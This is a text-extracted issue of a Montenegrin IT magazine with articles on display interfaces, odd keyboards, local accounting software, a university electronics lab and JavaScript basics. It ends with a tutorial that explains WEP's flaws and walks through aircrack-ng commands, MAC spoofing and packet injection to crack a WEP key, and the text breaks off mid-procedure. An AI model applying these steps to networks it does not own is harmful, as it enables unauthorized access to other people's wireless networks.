analogne konekcije na potpuno digitalnu konekciju HDMI, ali u raču-narskom sektoru HDMI ipak nije preuzeo vođstvo nad VGA i DVIkonekcijama. Postaje sve izvjesnije da će par novih PC orijentisanihstandarda poput UDI i DisplayPort postati zamjena za VGA konekciju.Ipak izvjesno je da DisplayPort prednjači u tome, i ne samo kod raču-nara već i kod potrošačke elektronike (CE-Consumer Electronics).Zato ćemo u daljem tekstu ukratko objasniti što je karakteristično zaova četiri displej interfejsa: VGA, DVI, HDMI i DisplayPort. Ali prijetoga treba vidjeti kakvi su trendovi i budućnost razvoja.Dok je evidentan trend za povećanjem dijagonala displeja, krajnjagranica u računarskom sektoru bi ipak trebala da ostane ispod 30inča. Povećanja u rezoluciji će se nastavljati ali većina monitora ćeuglavnom zadržati neke sadašnje uobičajene rezolucije tipa1680x1050 do 1920x1200 kod wide monitora u segmentu od 20 do27 inča. Jedino će kod high-end monitora ostati potražnja sa visokimrezolucijama tipa 2560x1600.Trend u TV tržištu biće svakako povećanje dijagonala i veći procenatupotrebe wide formata i da su obavezno HDTV ali i pored svega togaostaće problem što većina postojećih televizijskih standarda nisuHDTV pa se nove tehnologije ne mogu potpuno iskoristiti . Najboljikvalitet kod potrošačke elektronike će do daljneg ostati Full HD sa re-zolucijom 1920x1080.Nastojaće se sa pritiscima da se uvode razni načini zaštite od kopi-ranja materijala koji se reprodukuje. Vrlo je teško obezbijediti nekinačin zaštite kod analognih interfejsa, i to će ubrzati proces zamjenestandardnog VGA interfejsa sa novijim digitalnim interfejsima.

Postoji i jaka težnja posebno u krajnjem potrošačkom desktop sek-toru PC tržišta za boljom povezanošću između PC i TV prijemnika.Ovo bi moglo dovesti do usvajanja zajedničkog digitalnog interfejsakoji bi bio korišćen podjednako kod svih proizvoda.LCD monitori su postali vodeća displej tehnologija u PC tržištu, atakođe dijele veoma veliko tržište i kod TV. U bližoj budućnosti nepredviđa se da će ijedna druga tehnologija promijeniti takvo stanje.

VGAVGA konektor – skraćenica od ’’Video Graphics Array’’ je standardkoji je predstavljen 1987. od strane IBM-a za primjenu kod računara ijedan je od najuspješnijih i najviše korišćenih monitorskih interfejsasve do današnjih dana.VGA (poznat i kao 15HD konektor: 15-pinski ’’high density’’ konektorili D-SUB) se koristi već više od 20 godina i predstavlja standardnuanalognu video konekciju medju računarem i monitorom ali polakopočinje da doživljava ograničenja u primjeni. D-SUB konektorskafamilija iz koje je konektor originalno proizišao nije nikada uspjevalada podrži vrlo visoke frekventne video signale i zbog toga je običnoVGA prolazio kroz probleme niskopropusnosti, slabljenje signala, itkz. ’’ghosting’’ zbog neusklađenih impedansi. Korišćenje kablovskihekstendera i pojačavača signala obično izaziva dodatne komplikacijeovakve prirode. Ipak popularnost VGA konektora se uglavnom nas-tavlja zbog niske cijene ali i zbog enormno velike upotrebljivosti.Analogna sekcija kod DVI-I standarda prenosi VGA kompatibilne sig-nale, može da radi sa ovim standardom, i obezbjeđuje bolje videoperformanse uglavnom za video tajminge i formate rezolucija preko1280x1024. Ipak potpuno digitalni interfejsi DVI-D, DisplayPort iHDMI koji brzo prelaze u upotrebi su dugoročnija rješenja.

DVI’’Digital Visual Interface’’ ili skraćeno DVI standard predstavljen je1999. od strane ’’Digital Display Working Group’’. DDWG je bio ad-hoc konzorcijum sačinjen od sedam velikih PC industrijskihproizvođača: HP, Compaq, Intel, IBM, NEC, Fujitsu and Silicon Image(razvili su ’’Transmission Minimized Differential Signaling’’ - TDMSelektrični interfejs na kojem se DVI i zasniva). DVI je ubrzo postaoprvi sa razlogom uspješan digitalni interfejs kod PC monitora. IpakDDWG grupa se nije sastajala već dugi niz godina i može se smatratida više ne postoje. Dalja unaprijeđenja DVI standarda se ne očekuju.DVI dolazi u dvije vrste, DVI-I koji uključuje podršku za VGA kompati-bilne analogne i normalno digitalne video signale, i drugi DVI-D kojipodržava samo digitalne. Digitalni interfejs može obezbijediti ili jedanili dva prenosna kanala zavisno od toga koliki se protok podataka za-htijeva. Kod DVI komunikacije jedan kanal (single-link) se sastoji od 3diferencijalna voda podataka i ’clock’ voda čime se obezbjeđuje pro-tok od 4,8 Gbit/sec neobrađenih podataka. Dvostruki kanal (dual-link) obezbjeđuje dodatna 3 voda podataka, čime se postiže protokod 9,6Gbit/sec. DVI-I konekcija se razlikuje od DVI-D po 4-pinskoj sek-ciji Microcross kojom se prenose samo analogni signali.DVI je trenutno najpopularniji digitalni interfejs kod PC monitora, injegova primjena je gotovo izvjesna u narednih nekoliko godina. Ipakzbog veličine konektora i relativno skupe proizvodnje predviđa se daće u bliskoj budućnosti izgubiti vođstvo od novog DisplayPort stan-darda, a takodje je poprilično zamijenjen HDMI interfejsom kodpotrošačke audio/video i TV opreme.

HDMINakon što DDWG nije uspjela da se složi oko specifikacija za verzijuDVI koji bi se koristio u CE tržištu, Silicon Image su formirali novi kon-zorcijum kako bi napravili digitalni interfejs specifičan za potrošačkoCE tržište, ovaj put sa šest vodećih CE kompanija. Rezultat je bio’’High Definition Multimedia Interface’’ - HDMI.

Monitorski interfejsiMladen Mugoša

nast

avak

na

sled

ećoj

str

ani

Jeste li znali da su dugmad na tastaturi složene poučestalosti korišćenja?Na to smo se navikli, a da li bismo se mogli navići na dru-gačiji izgled i korišćenje tastature? Evo nekoliko primjerapotpuno neobičnih tastatura.

MaltronJedna od neuobičajenijih tastatura, koja košta oko 400dolara, dolazi iz Maltrona i namijenjena je dešnjacima. Činise kao da morate izvrnuti ruku da biste napisali neku riječ.No, da ne bude zabune, postoji i verzija za ljevake istogproizvođača.

Combimouse - miš i tastaura u jednomTu je i pokretna tastatura Combimouse koja doduše još nijeu prodaji, a u čijem je sklopu i miš, odnosno tastatura je i

miš. No, nije li mučno pisati i držatitastatura da ne pob-

jegne, a pritom

jošpo ekranustrelica juri sa jednogkraja monitora na drugi? Ova tastatura je ipak previše kom-plikovana za svakodnevnu upotrebu i čini se malo bizarna.

bKeyProizvođač abKey kaže da je otkrio najkorišćenija slova pastoga vrlo često korišćeno »u« ima posebno ergonomskodugme koje ne opterećuje radni prst. Slovo »a« ima sličanstatus, a napišete li, recimo, »ummummu«, pretpostavljase da će to biti vrhunski doživljaj za prste.

OrbiTouchDrugi proizvođači su ipak smatrali da nije potrebno ras-porediti slova tastature po korišćenosti pa tako imamo tas-taturu duginih boja sa dugmadima poređanim po abecedi.Ovo bi bile zanimljive tastature za računarske početnikadjecu i starije koji se prvi put srijeću s tastaturom.Definitivno među najbizarnijim jesu one pomalo »vanze-maljski« nastrojene. To su tastaure s klingonskim dug-madima ili OrbiTouch tastatura koja nema dugmad, već sečini da treba pisati ručnim zglobom. Ako se to probije natržište, daktilografija sigurno odlazi u istoriju.


Neobične tastature Pripremio: Elmir Đoković

HDMI je u suštini single-link TDMS električni interfejs (koji se ko-risti kod DVI) i plus standard koji je predviđen za prenošenje digi-talnih audio signala zajedno sa video signalima. Kao i DVI, HDMItakođe pruža podršku za Intel-ovu HDCP žaštitu od nelegalnogkopiranja. HDCP podrška je tehnički opciona ali u suštiniobavezna za proizvode u CE tržištu i HDMI implementacijama. HDMI je polu-kompatibilan sa single-link DVI, jer DVI ne možeobezbijediti podršku za audio signale kao što je to kod HDMI i nepodržava HDMI Consumer Elecronics Control (CEC) kanal, jed-nožična serijska magistrala podataka za kontrolu CE proizvoda(kao što su DVD plejeri) putem TV uredjaja ili drugog izlaznoguređaja.Kao što je bio slučaj kod DVI, HDMI (revizija 1.2) obezbjeđuje pro-pusnost do 165MHz ili oko 4,8Gbit/sec brzine prenosa podataka. HDMI 1.3 specifikacijom se dupliraju ove vrijednosti iako je bilomalo vjerovatno da će postojeći HDMI kablovi moći da podrževeće brzine prenosa. HDMI 1.3 je takođe donio i kompaktnijeverzije konektora posebno za CE proizvode, HDMI-C.Ipak u maju ove godine zvanično je predstavljena revizija 1.4 sajoš nekim boljim karakteristikama.HDMI specifikacija takođe uključuje i dual-link HDMI-B konektorkoji je predviđen za računarsku upotrebu, ali nikad nije usvojenzvanično . U ovom trenutku upotreba HDMI konektora kod raču-nara je ograničena HDMI-A konektorom i to uglavnom u okviruprimjena na relaciji PC – CE.

DisplayPortPri kraju 2005.-te jedan drugi konzorcijum proizvodjača raču-nara, displeja i potrošačke elektronike (HP, Dell, Philips,Nvidia, ATI (sada AMD), Samsung i Genesis Microchip) iznijelisu na svijetlo dana specifikaciju za novi digitalni video inter-fejs i predložili ga za novi standard. Godinu kasnije VESA(Video Electronics Standards Association) je odobrila i pred-stavila originalni DisplayPort standard. Nešto kasnije prvobit-noj grupi su se pridružili Intel i Lenovo, a specifikacija jeneznatno unaprijedjena revizijom 1.1 (koja je i sad u upotrebi)čime je upotreba postojećeg PCI-Express standarda još boljeiskorišćena i bolja je podrška Intel-ovom HDCP sistemu zaštite.DisplayPort se razlikuje od predjašnjih TDMS baziranih interfejsa(DVI i HDMI) u nekoliko bitnih stavki. Kao prvo, DisplayPort koristipaketni komunikacioni protokol, čime se obezbjedjuje uprošćenapodrška raznim tipovima podataka i ostalim pogodnostima.Audio signali se mogu prenositi (opciono) zajedno sa digitalnimvideo informacijama kao i sa ostalim tipovima podataka kao štosu tekst, slika itd. U budućim verzijama se očekuje paketni pro-tokol koji bi omogućio podršku za povezivanje više monitoraodjednom preko jedne fizičke konekcije, zatim pogodnostuslovnog update i ostalo, pritom zadržavajući kompatibilnost sastarijim standardima. DisplayPort je dizajniran da bude kako ek-sterni interfejs (recimo konekcija medu kućištem i monitorom)tako i interni interfejs (panel-level, interne konekcije u LCD moni-toru) što će omogućiti proizvodnju tkz. direct-drive monitora. Fizički konektor liči na HDMI konektor u veličini, ali razlikuje se uobliku i mehanizmu kačenja.Uređaji koji koriste DisplayPort interfejs mogu koristiti jedan, dvaili četiri diferencijalna kanala podataka zavisno od zahtjeva zakoličinom podataka koji se prenose. Interfejs se sam automatskikonfiguriše kako bi najbolje iskoristio postojeće kapacitete. Sapuna četiri kanala u upotrebi obezbjeđuje se protok od10.8Gbit/sec neobrađenih podataka. DisplayPort 2.0 planiran je za sredinu 2009. treba daobezbijedi duplo veći protok i da zadrži kompatibil-nost sa starijim standardima.

Da li će DisplayPort zaista preuzeti primat nad HDMI iDVI standardom ostaje da vidimo u bliskoj budućnosti, ali jedno jesigurno i video interfejsi postaju sve složeniji i bogatiji sa karakter-istikama.

nast

avak

sa

pret

hodn

e st

rane


DA je svijet odavno postao globalno selo, govori i primjer firme Lam-bex (www.lambex.com). U pitanju je Američka firma, čiji su osnivači iprogramerski tim čine ljudi sa ovih prostora i koja pored USA klije-nata softverskim rješenjima i uslugama servisiraju i domaće klijente.U ovom opisu ograničićemo se na predstavljanju dva njihova softverkaproizvoda, koja su razvijena i u upotrebi su na Crnogorskom tržištu.

DataCodeProgramski paket DataCode je softver za vođenje finansijskog kn-jigovodstva preduzeća. Program je klijet-serverskog tipa. Front-endaplikacija je pisana u Delfiju, a back-end baza podataka je MySQLserver. Korisnički interfejs ima potpuni Office 2007 izgled i vrlo je lakza navigaciju.Sam programski paket koncipiran je kao sistem koji se prilagođavakorisnicima odnosno firmi.DataCode sadrži sledeće module:

Glavnu knjigu sa analitikama,Robno-materijalno poslovanje, ID kartice (klub prijatelja),POS prodaja,Lične dohotke,Kadrovsku evidenciju,Osnovna sredstva,Proizvodnju.

U programu je omogućeno automatsko knjiženje iz njegovih sas-tavnih modula direktno u glavnu knjigu. Takođe je projektovan i pisantako da je izuzetno fleksibilan na promjene pravila poslovanja odstrane države. Korisnik sam može da definiše radno okruženje pro-grama i prilagodi ga sebi, takođe ima najnapredniji sistem pretraži-vanja svih polja sa podacima po svim parametarima. Po prvi put u nekom finansijkom programu, podatke u formi, poreduobičajene analize je moguće i naprednije analizirati, kao pivottabele u Excelu.

Obimno su razvijeni štampani izještaji, sama štampa izvještaja je un-aprijed definisana, mada je i korisnici sami mogu lako promijeniti,brišući ili dodajući polja i time praktično elimisati prisustvo program-era za taj posao. Export podataka je moguć u svim poznatim forma-tima: Excel, PDF, JPEG, TXT, E-mail, HTML, RTF, DOC, DBF.Podrška je organizovana po sljedećim principima: telefonskom, on-line, izlazak na teren, e-mailu i upgrate preko Interneta. Klijentimatakođe izlaze u susret, sa specifičnim nadogradnjama programa, akoje su usko vezana isključivo za njih ponaosob.

DataRestDataRest je softverski paket za vođenjekompletnog poslovanja ugostiteljskihobjekata Softver podržava i moderannačin rada sa ”touch screen” ekranima.Korisnički izgled je vrlo napredan i lakza upotrebu, ikone su jasne i same di-rektno upućuju na ispravno korišćenje programa od strane svih koris-nika.

Funkcionalni sadržaji: šifarnici i normativi, opcije za prilagođavanjesoftverskog paketa pojedinom korisniku, ulazni računi, kartica artikla,izdavanje računa, rad sa stolovima, zaključenje dana, zaključenje sm-jene, pregled prodaje, upravljanje zalihama, pregled stolova, štam-panje posebnih naloga za šank i kuhinju i prikaz dnevnogposlovanja,..itd.Pristup programu je moguć samo preko šifre ili indetifikacione kar-tice. Shodno tome svaki korisnik ima određen stepen privilegija u ko-rišćenju programa. Potpuno su programski onemogućenenedopuštene radnje personala u restoranu, jer je svaka narudžbaregistrovana, pa je nemoguće vršiti bilo kakve radnje bez znanja ikontrole.

Program je u neprekidnom razvoju,stalno se mijenja, dopunjuje i pri-lagođava zahtjevima tržišta, uzimajući uobzir predloge i savjete krajnjih koris-nika - ugostitelja. Softverski paketDataRest se posebno konfiguriše zasvaki objekt, tj. sve funkcije, podeša-vanja ugrađene opreme i programa, kao i lista proizvoda, jela pri-lagođene za taj objekt.

DataCode & DataRestNoel Tichy, Mičigenski Univerzitet:“Da biste ljude natjerali na poduhvat na nepoznatom terenu, najbolje je da ga učinite primamljivim, tako štoćete ga najpre izmaštati zajedno s njima”.

Da li je moguće projektovati kolo sa višeod 200 miliona tranzistora? Ručno, ne au-tomatski, da. Stoga se danas poluprovod-nička tehnologija i EDA (Electronic DesignAutomatisation) moraju posmatrati kaojedinstvena cjelina. Nemoguće je zamislitirazvoj poluprovodnika bez računara i viceversa. Pored složenosti, EDA uspješnorješava i probleme heterogenosti,skraćuje vrijeme do izlaska na tržište(time to market), smanjenjuje dimenzije ipresudno doprinosi obaranju cijena. Tosu samo djelimični razlozi zašto su pro-gramski jezici i softverski alati za kom-pjutersko projektovanje elektronskih kolapostali standardi u poljima edukacije iprofesionalne primjene.

Prije nekoliko godina, decembar 2006, ujednom od svojih prvih brojeva, BIT jepisao o pionirskim koracima uspostavl-janja Grupe i Laboratorije za PrimijenjenuElektroniku. Danas je to veoma modernalaboratorija, najomiljenije mjesto stude-nata i saradnika na ETF-u. Uspostavljena i

vođena od strane Prof. dr RadovanaStojanovića, uz nesebičnu pomoćrukovodećeg tima ETF-a, za tri go-dine svog postajanja postala jeveoma referentna u bližem i evrop-skom okruženju. Glavna joj je djelat-nost automatizovano projektovanjeelektronskih sistema na ploči (PCB) ičipu (SoC-Systems on Chip).

Tehnologije i softveri sa kojima seovdje možemo sresti i kojima semože ovladati su: ASIC, FPGA, VHDL,Verilog, Alterin Quartus, Xilnix, Ca-dence, Mentor Graphics, Matlab,ARM mikro procesori, niskopotrošački mikro procesori itd.Oblasti u kojima ae primenjuju sis-temi projektovani u ovoj laboratorijisu medicinska elektronika, industri-jska elektronika, telekomunikacije,telemetrija, zaštita čovjekove oko-line, kućna autoamtizacija, energet-ska efikasnost i mnoge druge.

Preko 30-tak studenata je diplomiralo ili magistriralo u ovoj labora-toriji i vrlo su rado zapošljavani (od instituta M. Pupin do Elektro-privrede i Centralne Banke). Projekti u kojima je uključenalaboratorija su iz mehanizama FP6, TEMPUS, Bilateralna Saradnja,NATO, WUS, Nacionalni projekti itd.

Svoje radove i rezultate projekata, članovi Laboratorije, su izlagali namnogobrojnim domaćim i stranim konferencijama kao i u referent-nim časopisima. Veliki broj profesora i studenata sa EU univerzitetaboravili su u ovoj laboratoriji kao gostujući predavači ili studenti napraksi.

Laboratorija je veliki dio opreme dobila kao rezultat TEMPUS pro-jekta CD_40017_2005 u konzorcijumu sa Univerzitetom u Patrasu(Grčka), Univerzitetom u Zapadnoj Bohemiji (Češka), Univerzitetom uNovom Sadu (Srbija), Univerzitetima u Liverpulu i Brunelu (Engleska)i EMI kompanijom (Crna Gora). Opremljena je savremenim uređa-jima i instrumentima najpoznatijih svjetskih proizvodjača kao što suTextronix, Agilent, Fluke, Instek itd. Na taj način studentima i sarad-nicima ETF-a i Univerziteta Crne Gore, kao i šire pružena jemogućnost savremenog eksperimentalnog rada i usavršavanja uoblasti elektronike i ICT-a.

Dodatno, stvoreni su uslovi za kvalitetniju saradnju sa ostalim među-narodnim institucijama iz oblasti edukacije i istraživanja kroz zajed-ničku implementaciju budućih projekata kao i u domenu razmjenestudenata i istraživača.

Što je od posebnog značaja, na ovaj način se unapredjuje saradnjaizmeđu univerziteta i privrede kroz praktični rad i eksperimente kojiće rezultirati „high tech“ proizvodima. Laboratorija ima saradnju saKAP-om Podgorica, Kliničkom Centrom Podgorica, EMI Podgorica,Medicinskim fakultetom itd.

Posjetite web site : www.apeg.ac.me

Laboratorija za primijenjenu elektroniku ETF-a, Podgorica Marija

Mirković


21strana


Šta je to JavaScript?JavaScript je skript jezik koji omogućava postizanje značajnefunkcionalnosti HTML dokumenata na klijentskoj strani. On seuključuje u sadržaj HTML dokumenta i omogućava unaprijeđenjeHTML strana sa interesantnim efektima. Na primjer, korišćenjemJavaScripta je moguće odgovarati na akcije korisnika u samom WWWčitaču. Ono što je bitno zapamtiti jeste da JavaScript programmože da se izvršava samo u okviru WWW čitača i nigdje drugdje.

HTML je platformski neutralan jezik koji omogućava efikasno prezen-tiranje željenog sadržaja na klijentskoj mašini. Glavni nedostatakHTML-a je u tome što ne podržava neposrednu komunikaciju sa ko-risnikom u smislu mogućnosti unosa podataka od strane korisnika idinamičku obradu unijetih podataka. HTML predstavlja ograničava-jući faktor u aplikacijama koje zahtijevaju dinamičku obradu unijetihpodataka, pa se javila potreba za uvođenjem novih tehnologija za re-alizaciju ovakvih aplikacija.

Prvi pokušaji rješavanja problema realizacije dinamičkih aplikacija bilisu usmjereni ka uvođenju novih serverskih komponenti. Najpopu-larnija među njima je bila CGI-Common Gateway Interface.CGI tehnologija je omogućila Web programerima obradu podataka

koje je korisnikunio i, u

skladu sa

njima, preduzimanje potrebnih akcija. Dobijena funkcionalnost je u početku bila dovoljna da se CGItehnologija smatra zadovoljavajućim rješenjem. Međutim, kasnije seuvidjelo da veliki problem može da predstavlja česta klijent-serverkomunikacija.Primjer problema: Ako korisnik unese pogrešan podatak, najprijemora da sačeka da se podatak prenese na server, zatim da serverobradi podatak i utvrdi da je pogrešan, nakon toga da dobijeobaveštenje od servera da ponovo treba da unese podatak.

Istorija JavaScriptaDa bi se izbjegla česta komunikacija sa serverom, javila se potreba zanovim tehnologijama koje bi dale mogućnost obrade podataka na kli-jentskoj strani. To je dovelo do pojave JavaScript-a.

Decembar 1995.godine – Netscape i Sun su predstavili jezikJavaScript 1.0, originalno nazvan LiveScript. Kod napisan u ovomjeziku je mogao da se izvršava u okviru web browser-a Netscape Nav-igator 2.Microsoft je na osnovu javne dokumentacije Netscape-a implementi-rao svoju, skoro identičnu, verziju jezika koju je nazvao JScript. Ovaverzija je mogla da se izvršava u okviru Internet Explorer 3 web či-tača.Udruženje ECMA (European Computer Manufacturers Association) jeusvojilo svoj standard za ovaj jezik i nazvalo ga ECMAScript 1.0, kas-nije ISO/IEC 16262. Tako je JavaScript postao Netscape-ova imple-mentacija ovog standarda, a JScrpit Microsoft-ova.

Osobine JavaScript jezika:Objektno zasnovan – koristi hijerarhiju ugrađenih objekata sa defin-

isanim metodama i osobinama (što daje jednostavnost jeziku), ali nepodržava sve koncepte objektno-orijentisanih jezika (npr. veoma jelimitiran rad sa nasljeđivanjem, važenjem i funkcionalnošću ob-jekata).Platfromski neutralan – kod se izvršava u okviru web čitača, bez

obzira na hardversko i softversko okruženje; veličina programa jeobično mala, pa se on može izvršavati i na mašinama sa lošijim per-formansama.Modularno programiranje – za čuvanje i izvršavanje koda se koriste

posebni dokumenti sa .js ekstenzijom koji se kao takvi mogu pozivatiod strane više HTML dokumenata.Integrisanost sa HTML-om – u okviru jedne stranice moguće je na

proizvoljan način kombinovati JS i HTML kod; takođe iz JS moguće jegenerisati HTML kod.

Koje su razlike između Javei JavaScripta?Bez obzira na nazive, Java i JavaScript su ra-

zličiti jezici. Oni predstavljaju dvije različite tehnike programiranjana Internetu. Java je programski jezik. JavaScript je (kako mu i samoime kaže) script jezik. Razlika je u tome što sa Javom možete dakreirate prave programe, koji mogu da se izvršavaju potpuno nezav-isno od WWW čitača (poput programa napisanih sa C++ ), ili Javaaplete koje možete da pozivate iz HTML dokumenta i koji se dovlačepreko mreže i onda izvršavaju u okviru vašeg WWW čitača.Ipak, najčešće vam za unapređenje HTML dokumenata zaista netreba “teška artiljerija” poput Jave, jer želite da napravite nekiefekat brzo, ne zamarajući se pravim programiranjem. Tu dolaz-imo na JavaScript, koji je jednostavan za razumjevanje i upotrebu.JavaScript jeste zasnovan na Javi, ali postoje i brojne razlike.

Da bi programirali u JavaScriptu morate imati osnovno pozna-vanje HTML-a, a ne samo JavaScripta. Cio program se smješta unutar HTML dokumenta, unutar SCRIPT ele-menta. Atribut elementaSCRIPT je LANGUAGE, kojim se tačno određuje o kom se skript jezikuradi. Danas postoje dva script jezika na WWW: JavaScript (Netsape) iVisualBasic Script (Microsoft).

JavaScript Zoran Ćorović, Fakultet za informacione tehnologije, Univerzitet “Mediteran” Podgorica

nast

avak

na

24. s

tran

i

Dobitnik nagrade izprethodnog broja:

Saveljić Tatjana

Velimira Terzića br.1Podgorica

KONTROLNI KOD:ch9K2nA3


Vodič kroz Ivan Radunović

Windows vs Linux

Primjer 1 Jednostavni JavaScript program

<HTML><HEAD><TITLE>Jednostavan JavaScript</TITLE></HEAD><BODY>Tekst prikazan na uobičajen način.<BR><SCRIPT LANGUAGE=”JavaScript”>document.write(“<B>Tekst prikazan izJavaScripta.</B>”)</SCRIPT></BODY></HTML>

JavaScript se unutar HTML dokume-nata uvjek mora naći unutar SCRIPTelementa. Obratite pri tome pažnju daako HTML dokument sa JavaScriptompokušamo da pogledamo sa nekimWWW čitačom koji nema ugrađenu po-dršku za JavaScript, gornji dokument ćese nepravilno prikazati.

Sledeći primjer prikazuje interakciju sakorisnikom putem prompt() metoda, krozmetod koji služi za ispis, a to je docu-ment.write(). Program pita korisnika kakose zove, a onda ispisuje poruku do-brodošlice sa njegovim imenom.

<HTML><HEAD><TITLE>Primjer 2</TITLE></HEAD><BODY><SCRIPT LANGUAGE="JavaScript"></SCRIPT></BODY></HTML>

Postoji veliki broj metoda i funkcija kojekoriste u javascriptu, a document.write()i prompt() su samo neke od njih.

nast

avak

sa

24. s

tran

e

Windows je odlična platforma za obavljanjekancelarijskih poslova, igranje igrica i bavl-jenje multimedijalnim sadržajima. Postojibezbroj aplikacija za ovaj operativni sistem,međutim odlika skoro svih je da se njihovokorišćenje naplaćuje. Izvorni kod ovog OS-aje nedostupan, pa krucijalne izmjene nisumoguće. Pored svega toga Windows ne po-država 99% procesa koji se koriste za upravl-janje, analizu i testiranje wireless mreža.Sa druge strane, Linux je sistem sa dostup-nim izvornim kodom, pa ga korisnici mogumijenjati i prilagođavati svojim potrebama.Njegovo korišćenje se ne naplaćuje kao ni zavećinu aplikacija napisanih za njega. Postojebrojne distribucije i besplatne i one koje tonisu, o tome ste mogli da čitate u ranijimbrojevima BIT-a.

Koju Linux distribuciju koristiti?Iz mnoštva Linux distribucija izdvaja se jedna,koja je posebno kreirana za ispitivanje wire-less mreža. Riječ je o BackTrack distribuciji(www.remote-exploit.org) koju je kreiralagrupa entuzijasta povezanih sa wireless prob-lematikom. Čitava stvar je prvobitno bila za-mišljena kao live CD, međutim kako jeinteresovanje raslo, razvijena je verzija za HDinstalaciju kao i za emulatore. BackTrack pos-jeduje alate iz raznih oblasti kao što su: saku-pljanje informacija, mapiranje mreža,detekciju propusta, penetraciju, krekovanjelozinki, ipsitivanje prava pristupa, analizuradio signala i još mnogo drugih. Live CD je dobra varijanta jer ne zahtijeva in-staliranje na HD, međutim nije dovoljno brztj. dešava se da koči zbog fizičkih ograničenjaoptičkog uređaja. Sa Live CD-om sve izmjenesistema se brišu nakon gašenja i potrebno jesvaki put učitavati drajvere, dok kod insta-lacije na HD sve promjene ostaju sačuvane.Najbolje je sistem instalirati na fleš disk i bu-tovati sa USB-a.

Postupak instalacije BackTrack-a na USBmemorijuZa zadnju verziju BackTrack-a potrebna jememorija od najmanje 4,3 GB. U prethodnimverzijama ovog OS-a bilo je izuzetno komp-likovano instalirati sistem na USB drajv.Međutim, u novoj verziji ljudi iz BackTrack

tima su se potrudili i osmislili aplikaciju za in-staliranje na disk. Prvo je potrebno skinuti zadnju verziju OS-au ovom slučaju to je BackTrack 4 Pre Releasesa www.remote-exploit.org/backtrack_download.html . Zatimiso datoteku narežite na DVD disk i butujte sanjega. Kada se učitavanje sistema završi po-javiće se komandna linija spremna za unos.Ukucajte startx, to će pokrenuti grafičkookruženje. Nakon toga povežite USB disk iotvorite shell prozor. Da bismo pozvali pro-gram za instalaciju unesemo ubiquity. Daljepratite čarobnjaka za instalaciju i kroz neko-liko klikova imaćete instaliran sistem na USBdisku. Dalje možete butovati sa tog diska isve izmjene će biti sačuvane.

WEP = 0% zaštitePostoji mnogo uređaja koji obezbjeđujuWLAN, po mnogim specifikacijama se raz-likuju ali imaju i zajedničke odlike. Prije svegatu spada vrsta enkripcije koju koriste. Starijiuređaji podržavali su samo WEP enkripcijudok novi imaju WPA. WEP je skraćenica odWired Equivalent Privacy i bila je osmišljenakao ekvivalent enternet enkripcije. U tome jepotpuno podbacila jer mnoge mane kojeima, dovele su do konačnog rušenja 2001.godine. Problem je nastao u čipu za enkrip-ciju. U narednim redovima saznaćete šta jesve krenulo naopako.

WEP – Kako radi?Da bi zaštitila podatke ova vrsta enkripcijekoristi RC4 čip, a to je simetrični strim čip. Toznači da za svaki niz podataka (niz 0 i 1) kreirajoš jedan niz iste dužine nazvan kejstrim(keystream). Zatim preko logičke operacijeekskluzivno OR (XOR) kombinuje ta dva niza idobija treći. Taj treći niz chipertext se zatimšalje kroz vazduh do mobilnog uređaja. Tamose dešifruje sa istim kejstrimom i istom XORoperacijom. Postoje tri osnovna sigurnosna aspekta kojesvaka enkripcija mora posjedovati. To su pov-jerljivost, cjelovitost i autentičnost. Pov-jerljivost podrazumijeva da su podacizaštićeni od neovlašćenih preuzimanja.Cjelovitost je termin koji označava da podacinisu bili mjenjani, a autentičnost je potrebna

da bi se podaci razmjenjivali samo sa poz-natim izvorima. Provjera autentičnosti sesastoji od autorizacije i dozvole za pristup.Prije odobravanja pristupa na paket po-dataka, sistem mora saznati ko je korisniki da li ima dozvolu za pristup. WEP naizgled pokriva sve aspekte zaštite,ali kada se izvrši opsežnije testiranje otkri-vaju se problemi. Povjerljivost je ugrožena manama u RC4 čipu, prov-jera cjelovitosti je loše zamišljena, a autentičnost zavisi samo odkorisnikove MAC adrese (za koju se zna da je podložna promjenama).Prije enkripcije niz podataka ide na provjeru cjelovitosti, a to gener-iše ICV vrijednost (Integrity Check Value). ICV štiti sadržaj od izmjena,tako što osigurava da nije bilo promjena. I ICV i podaci su zajednošifrovani tako da nisu dostupni hakeru. WEP ključ nastaje od 40-bitnog tajnog ključa i 24-bitnog inicijalizacionog vektora.

Tako nastaje RC4 ključ dužine 64 bita. Od toga ključa čip generiše ke-jstrim iste dužine kao i niz podataka, dalja priča je poznata. Zajednosa šifrovanim podacima šalje se i IV koji nije šifrovan da bi risiver tomogao dešifrovati. Upravo u ovom dijelu sa IV paketima nastajeproblem. Pošto oni nisu šifrovani, a na svakih nekoliko hiljada po-javljuje se isti paket, moguće je rekonstruisati cijeli ključ uz pomoćposebnih algoritama.

Kako rekonstruisati WEP ključ, ili kako krekovati šifru?Prije priče o konrektnoj proceduri upoznaćemo se sa skraćenicamakoje se koriste u programima za wireless monitoring.

MAC (Media Access Control) – adresa koju posjeduje svakawireless karticaSSID (Servise Set Identifier) – naziv access point-a npr.„SpeedTouch“BSSID (Basic Service Set Identifier) – adresa access point-a

Programi koje ćemo koristiti za ispitivanje wireless mreža su već in-stalirani na BackTrack-u. Ukoliko koristite neku drugu Linux distribu-ciju izvorni kod možete naći na www.aircrack-ng.org. U sljedećemtekstu kad bude pisalo shell, to znači da trebate otvoriti novi shellprozor, a sve prethodne ostaviti otvorene.

Shell 1# airmon-ng Ova komanda će izlistati sve wireless kartice trenutno povezane sakompjuterom. Ona prikazuje prvo interfejs, može biti wlan0, wlan1,ath0, rausb0,..., pa chipset Atheros, Intel, Ralink i na kraju prikazujeverziju drajvera. Za pomoć unesite # airmon-ng –-help .# airmon-ng stop wlan0Sada stopiramo karticu da bismo mogli izvršiti potrebne izmjene. Ovowlan0 je interfejs koji može biti drugačiji nego vaš, to zavisi od onogašta je prethodna komanda ispisala.# ifconfig wlan0 down# macchanger –m 00:11:22:33:44:55 wlan0Sa ovom komandom mijenjamo fabričku MAC adresu. Ovaj dio je

napisan da biste se uvjerili kako je lako promijeniti MAC adresu, a toje jedna od mana WEP enkripcije. # airmon-ng start wlan0# airodump-ng wlan0Sada se otvara program za monitoring wireless signala. Ono što je na-jbitnije za nas je kanal CH, BSSID i vrsta enkripcije (za ovaj primjertreba da bude WEP). Takođe je važno da signal bude jak i da setrenutno odvija neki saobraćaj sa posmatranim uređajem. Ukolikonema povezanih računara na tu mrežu, ovaj način upada neće upaliti. # Ctrl+cOvo stopira airodump-ng, on nam je trebao samo da bismo zapamtilikanal i BSSID

Shell 2# aireplay-ng -9 –a 00:11:0C:0C:0C wlan0

